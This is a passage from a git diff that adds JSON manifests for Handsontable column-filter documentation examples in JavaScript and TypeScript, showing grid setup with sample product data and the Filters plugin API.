menu\n dropdownMenu: true,\n height: 175,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-filter/javascript/exampleFilterDifferentTypes.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleFilterDifferentTypes","exampleTitle":"Filter different types of data","docPermalink":"/column-filter","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleFilterOnInitialization.js.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleFilterOnInitialization.js.json new file mode 100644 index 00000000..560f3265 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleFilterOnInitialization.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column filter · Filter data on initialization · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleFilterOnInitialization');\n\nnew Handsontable(container, {\n data: [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n // `afterInit()` is a Handsontable hook: it's fired after the Handsontable instance is initiated\n afterInit() {\n const handsontableInstance = this;\n // get the `Filters` plugin, so you can use its API\n const filters = handsontableInstance.getPlugin('filters');\n\n // filter data by the 'Price' column (column at index 2)\n // to display only items that are less than ('lt') $200\n filters.addCondition(2, 'lt', [200]);\n filters.filter();\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-filter/javascript/exampleFilterOnInitialization.js","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleFilterOnInitialization","exampleTitle":"Filter data on initialization","docPermalink":"/column-filter","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleFilterOnInitialization.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleFilterOnInitialization.ts.json new file mode 100644 index 00000000..6e8b4bfb --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleFilterOnInitialization.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column filter · Filter data on initialization · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { Filters } from 'handsontable/plugins';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleFilterOnInitialization')!;\n\nnew Handsontable(container, {\n data: [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n // `afterInit()` is a Handsontable hook: it's fired after the Handsontable instance is initiated\n afterInit() {\n const handsontableInstance = this;\n // get the `Filters` plugin, so you can use its API\n const filters: Filters = handsontableInstance.getPlugin('filters');\n\n // filter data by the 'Price' column (column at index 2)\n // to display only items that are less than ('lt') $200\n filters.addCondition(2, 'lt', [200]);\n filters.filter();\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-filter/javascript/exampleFilterOnInitialization.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleFilterOnInitialization","exampleTitle":"Filter data on initialization","docPermalink":"/column-filter","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleFilterThroughAPI1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleFilterThroughAPI1.js.json new file mode 100644 index 00000000..e168904a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleFilterThroughAPI1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column filter · Filter data programmatically · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n \n \n
    \n
    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleFilterThroughAPI1');\nconst hot = new Handsontable(container, {\n data: [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\n// get the `Filters` plugin, so you can use its API\nconst filters = hot.getPlugin('filters');\n\ndocument.querySelector('.filterBelow200').addEventListener('click', () => {\n // clear any existing filters\n filters.clearConditions();\n // filter data by the 'Price' column (column at index 2)\n // to display only items that are less than ('lt') $200\n filters.addCondition(2, 'lt', [200]);\n filters.filter();\n});\ndocument.querySelector('.filterAbove200').addEventListener('click', () => {\n filters.clearConditions();\n // display only items that are more than ('gt') $200\n filters.addCondition(2, 'gt', [200]);\n filters.filter();\n});\ndocument.querySelector('.clearAllFilters').addEventListener('click', () => {\n filters.clearConditions();\n filters.filter();\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-filter/javascript/exampleFilterThroughAPI1.js","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleFilterThroughAPI1","exampleTitle":"Filter data programmatically","docPermalink":"/column-filter","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleFilterThroughAPI1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleFilterThroughAPI1.ts.json new file mode 100644 index 00000000..e7693625 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleFilterThroughAPI1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column filter · Filter data programmatically · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n \n \n
    \n
    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { Filters } from 'handsontable/plugins';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleFilterThroughAPI1')!;\nconst hot = new Handsontable(container, {\n data: [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\n// get the `Filters` plugin, so you can use its API\nconst filters: Filters = hot.getPlugin('filters');\n\ndocument.querySelector('.filterBelow200')!.addEventListener('click', () => {\n // clear any existing filters\n filters.clearConditions();\n // filter data by the 'Price' column (column at index 2)\n // to display only items that are less than ('lt') $200\n filters.addCondition(2, 'lt', [200]);\n filters.filter();\n});\n\ndocument.querySelector('.filterAbove200')!.addEventListener('click', () => {\n filters.clearConditions();\n // display only items that are more than ('gt') $200\n filters.addCondition(2, 'gt', [200]);\n filters.filter();\n});\n\ndocument.querySelector('.clearAllFilters')!.addEventListener('click', () => {\n filters.clearConditions();\n filters.filter();\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-filter/javascript/exampleFilterThroughAPI1.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleFilterThroughAPI1","exampleTitle":"Filter data programmatically","docPermalink":"/column-filter","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleGetFilteredData.js.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleGetFilteredData.js.json new file mode 100644 index 00000000..cd9b63c0 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleGetFilteredData.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column filter · Get filtered data · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n

    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#exampleGetFilteredData');\nconst rowCountInfo = document.querySelector('#rowCountInfo');\nfunction updateRowCountInfo(instance) {\n // `getData()` returns only the rows that pass the current filters\n const visibleRowCount = instance.getData().length;\n // `getSourceData()` always returns every row, filtered or not\n const totalRowCount = instance.getSourceData().length;\n rowCountInfo.textContent = `Showing ${visibleRowCount} of ${totalRowCount} rows.`;\n}\nconst hot = new Handsontable(container, {\n data: [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n // `afterFilter()` fires after Handsontable applies the filters\n afterFilter() {\n updateRowCountInfo(this);\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\nupdateRowCountInfo(hot);","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-filter/javascript/exampleGetFilteredData.js","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleGetFilteredData","exampleTitle":"Get filtered data","docPermalink":"/column-filter","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleGetFilteredData.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleGetFilteredData.ts.json new file mode 100644 index 00000000..5476917f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleGetFilteredData.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column filter · Get filtered data · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n

    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleGetFilteredData')!;\nconst rowCountInfo = document.querySelector('#rowCountInfo')!;\n\nfunction updateRowCountInfo(instance: Handsontable) {\n // `getData()` returns only the rows that pass the current filters\n const visibleRowCount = instance.getData().length;\n // `getSourceData()` always returns every row, filtered or not\n const totalRowCount = instance.getSourceData().length;\n\n rowCountInfo.textContent = `Showing ${visibleRowCount} of ${totalRowCount} rows.`;\n}\n\nconst hot = new Handsontable(container, {\n data: [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n // `afterFilter()` fires after Handsontable applies the filters\n afterFilter() {\n updateRowCountInfo(this);\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nupdateRowCountInfo(hot);","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-filter/javascript/exampleGetFilteredData.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleGetFilteredData","exampleTitle":"Get filtered data","docPermalink":"/column-filter","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleQuickFilter.js.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleQuickFilter.js.json new file mode 100644 index 00000000..2be1a506 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleQuickFilter.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column filter · External quick filter · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n
    \n \n \n \n
    \n \n
    \n
    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleQuickFilter');\nconst filterField = document.querySelector('#filterField');\n\n// Custom dropdown logic\nconst trigger = document.getElementById('filterTrigger');\nconst menu = document.getElementById('filterMenu');\nconst label = document.getElementById('filterTriggerLabel');\nlet selectedColumn = '0';\n\ntrigger.addEventListener('click', () => {\n const open = trigger.getAttribute('aria-expanded') === 'true';\n\n trigger.setAttribute('aria-expanded', String(!open));\n menu.hidden = open;\n});\n\nmenu.addEventListener('click', (e) => {\n const li = e.target.closest('li[data-value]');\n\n if (!li) return;\n\n menu.querySelectorAll('li').forEach((el) => el.removeAttribute('aria-selected'));\n li.setAttribute('aria-selected', 'true');\n selectedColumn = li.dataset.value;\n label.textContent = li.textContent.trim();\n trigger.setAttribute('aria-expanded', 'false');\n menu.hidden = true;\n});\n\ndocument.addEventListener('click', (e) => {\n if (!e.target.closest('#filterDropdown')) {\n trigger.setAttribute('aria-expanded', 'false');\n menu.hidden = true;\n }\n});\n\nconst hot = new Handsontable(container, {\n data: [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '13:23',\n inStock: true,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n colHeaders: true,\n height: 'auto',\n filters: true,\n className: 'exampleQuickFilter',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 